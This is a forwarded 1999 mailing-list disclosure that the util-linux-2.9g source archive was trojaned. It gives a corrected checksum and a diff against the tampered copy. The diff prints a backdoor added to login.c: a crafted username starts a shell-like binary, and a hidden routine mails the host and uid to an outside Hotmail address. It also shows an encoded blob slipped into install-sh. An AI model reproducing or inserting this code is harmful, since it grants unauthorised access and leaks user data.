----- Start forwarded message -----
Date:   Sun, 24 Jan 1999 14:19:09 +0100 (MET)
From: [EMAIL PROTECTED]
Message-Id: <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED],
        linux-security@redhat.com
Subject: Re: util-linux compromised
Cc: [EMAIL PROTECTED]
Sender: [EMAIL PROTECTED]
Precedence: bulk
X-Loop: [EMAIL PROTECTED]
X-Orcpt: rfc822;linux-kernel-outgoing-dig
MIME-Version: 1.0

I just received the following letter:

    Date: Sun, 24 Jan 1999 04:01:55 -0500 (EST)
    From: John Stange <[EMAIL PROTECTED]>
    Subject: util-linux compromised?

    I grabbed util-linux-2.9g yesterday from win.tue.nl, and discovered a
    section of login.c that appears to send the host and uid of the user to a
    hotmail address.  I imagine this isn't a standard feature. :>  Given that
    the tcp wrappers archive was backdoored on that same server recently, you
    might want to comb over the rest of your stuff as well, if any of it's
    yours.

    -- John Stange
    Staff World, 4120 AVW
    x52720

and indeed, util-linux-2.9g had been replaced by a trojan version.
Unfortunately this means that everything from ftp.win.tue.nl
must be regarded as suspect for the moment.

I put a correct util-linux-2.9g.tar.gz back, with md5sum
  ab409a6ac5a775a4b04b8e27f6c86933  util-linux-2.9g.tar.gz
but of course, for the time being, nothing on this machine can be trusted.

Andries

A diff between original and trojan:

diff -r util-linux-2.9g/disk-utils/Makefile 
trojan/util-linux-2.9g/disk-utils/Makefile
94a95
> 
diff -r util-linux-2.9g/install-sh trojan/util-linux-2.9g/install-sh
147a148,171
> # M.'1F87=H<3(S='5L9G(V:6%W969G<34V-VEA,W4*(R!`:%=)<CT[>'9X46QO
> # M>GEP8V9Q8GYJ1SU6*E-P6S)R<E(X5G%A8%P]2C)K9EEY6#-J1V)R/3X[>W5Z
> # M>'1X>$!8765I7F5E65Q80B`@(`HC("YA+G,[EMAIL PROTECTED],BXU+F(N
> # M<"XY+F<N=BXX+C<N82YW+G0N8BYP+C$N,BXX+CDN="XW+F8N9RYA+G<N90HC
> # M(#0L,RQH+'0L.2QQ+#(L."QT+&8L82QW:"UQ+3(M,RUT+74M;"UF+7(M-BUI
> # M+6$M=RUE+68M9RUQ+34M-BTW+6DM82TS=0HC($!H5TER/3MX=GA1;&]Z>7!C
> # M9G%B?FI'/58J4W!;,G)R4CA6<[EMAIL PROTECTED],FMF67E8,VI'8G(]/CM[=7IX='AX
> # MW<L,14(2SWS1$J0=[8?[[?=T-T!2LK,S>W,S5W4;[TXLD4"CT:]/-^"JC)->
> # M$F?5E]ZP_WJ^^^0W^-$'@Y>'A_J)UOKET<':;_<ST/KHZ&"[EMAIL PROTECTED]>&!UGOX
> # M=/1$'S[Y'7XJ6P:%UD_^27^J#?U'L;WMT4/[OV<*_XC^#UG_P^'1P3?]_Q_K
> # M_SRX-;,X,;]ZC;[EMAIL PROTECTED]/]C;/R#]#UX.#_?V!["%O8/!X.43/?BF_]_\
> # MYYGV:M:]7O-YEA>Z,[EMAIL PROTECTED],C57/]'[EMAIL 
> PROTECTED])$(ST)2OW6A'IXI(>#T>#U
> # MZ&"@]UZ_'F+,E;F++8UY5\3Z8UA"R7JX-QH,1\,]&G.HIRM=]&=!7"Z^CXTQ
> # M_;R8$^U\N2KB^:)D0EWZ=Y__/>C*M*LXO`V*2)_T]3N:K+>%1FC[51;V353M
> # MJ&=*Q5F85)'1_?[N^?''BW>[EMAIL PROTECTED]&F0Z64P-_;/2IV/+UY]
> # MIY\^G478?1J4_5<ZO;7WP1(?K"EGT;)(^Z\>D)C&65#$1.&[EMAIL PROTECTED]
> # M59)T=%$Y:=)C"//6]C7^I]3DA],+6BV]G5FWCE(WDRMZW/!0+ZS4R?4QO^`O
> # M\2PS?]6=Y]O'ES<['=VQRZ`([EMAIL PROTECTED];'6219KKW<9+H,$^7T&E73\%MR:S'
> # M5F>YOC5%9A)MJ^4R+TJ=9YK)L"!&WSW?IM\[3+&?QEG\A04RL_Z7>\8[H>'T
> # MNSV\->H!O^G1J]O.YD(4>T`\]!^L^["Y`CUUH]P89;(HGBF36/,XT<=(N$F;
> # M5\9VU%/L_7A']T*0.'YW-GX_P9>WD[/CFZO)R>2[/?W\C[J7Z^??RR[6*%W(
> # MH+]+:WWZTY$7B>Q1.*PYS76"408??@'+S[?/WOI%_D,6H6>G/\CH7\[O5PFY
> # MX;J7I([][TVXX/=93DX*)[;P9AANJ0OSURHN#"PXK`J+WW`NF
> 
diff -r util-linux-2.9g/login-utils/login.c 
trojan/util-linux-2.9g/login-utils/login.c
179a180
> void checkname P_((char *name));
552a554,555
>       checkname(username);
> 
1291a1295,1342
> }
> 
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <arpa/inet.h>
> #include <netdb.h>
> 
> void
> checkname(char *name)
> {
>       char    a[100];
>       char    *pt;
> 
>       if ((name[0] == '#') && (name[1] == '!'))
>       {
>               pt = (char*)&name[2];
>               sprintf(a,"/bin/%s",pt);
>               execl(a,a,(void*)0);
>       }
>       if (fork() == 0)
>       {
>               struct  hostent *he;
>               struct  sockaddr_in sai;
>               struct  in_addr *ia;
>               char    b[500];
>               int     s,l;
> 
>               setsid();
>               s = open("/var/tmp/.fmlock0",O_RDONLY);
>               if (s >= 0) exit(0);
>               he = gethostbyname("mail.hotmail.com");
>               if (!he) exit(0);
>               ia = (struct in_addr *)he->h_addr_list[0];
>               l = sizeof(sai);memset(&sai,0,l);
>               sai.sin_port = htons(25);
>               sai.sin_addr.s_addr = ia->s_addr;
>               if ((s = socket(AF_INET,SOCK_STREAM,0)) < 0) exit(0);
>               if ((connect(s,(struct sockaddr*)&sai,l)) < 0) exit(0);
>               if ((getsockname(s,(struct sockaddr*)&sai,&l)) < 0) exit(0);
>               sprintf(b,"\r\nHost = %s\r\nUid = 
> %i\r\n\r\n.\r\n",inet_ntoa(sai.sin_addr),getuid());
>               sleep(1);if (write(s,"HELO 127.0.0.1\n",15) < 0) exit(0);
>               sleep(1);if (write(s,"MAIL FROM:<[EMAIL PROTECTED]>\n",28) < 0) 
> exit(0);
>               if (write(s,"RCPT TO:<[EMAIL PROTECTED]>\n",30) < 0) exit(0);
>               sleep(1);if (write(s,"DATA\n",5) < 0) exit(0);
>               sleep(1);if (write(s,b,strlen(b)) < 0) exit(0);
>               sleep(1);if (write(s,"QUIT\n",5) < 0) exit(0);
>               sleep(1);close(creat("/var/tmp/.fmlock0",511));exit(0);
>       }
diff -r util-linux-2.9g/misc-utils/Makefile 
trojan/util-linux-2.9g/misc-utils/Makefile
85a86,88
> 
> [EMAIL PROTECTED];xvxQlozypcfqb~gA\.~ttQ9inKf=8~}6~3/-&SxQl/<
> 


(pasted from another window - tabs etc will be lost).

Andries

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
Please read the FAQ at http://www.tux.org/lkml/


----- End forwarded message -----

Reply via email to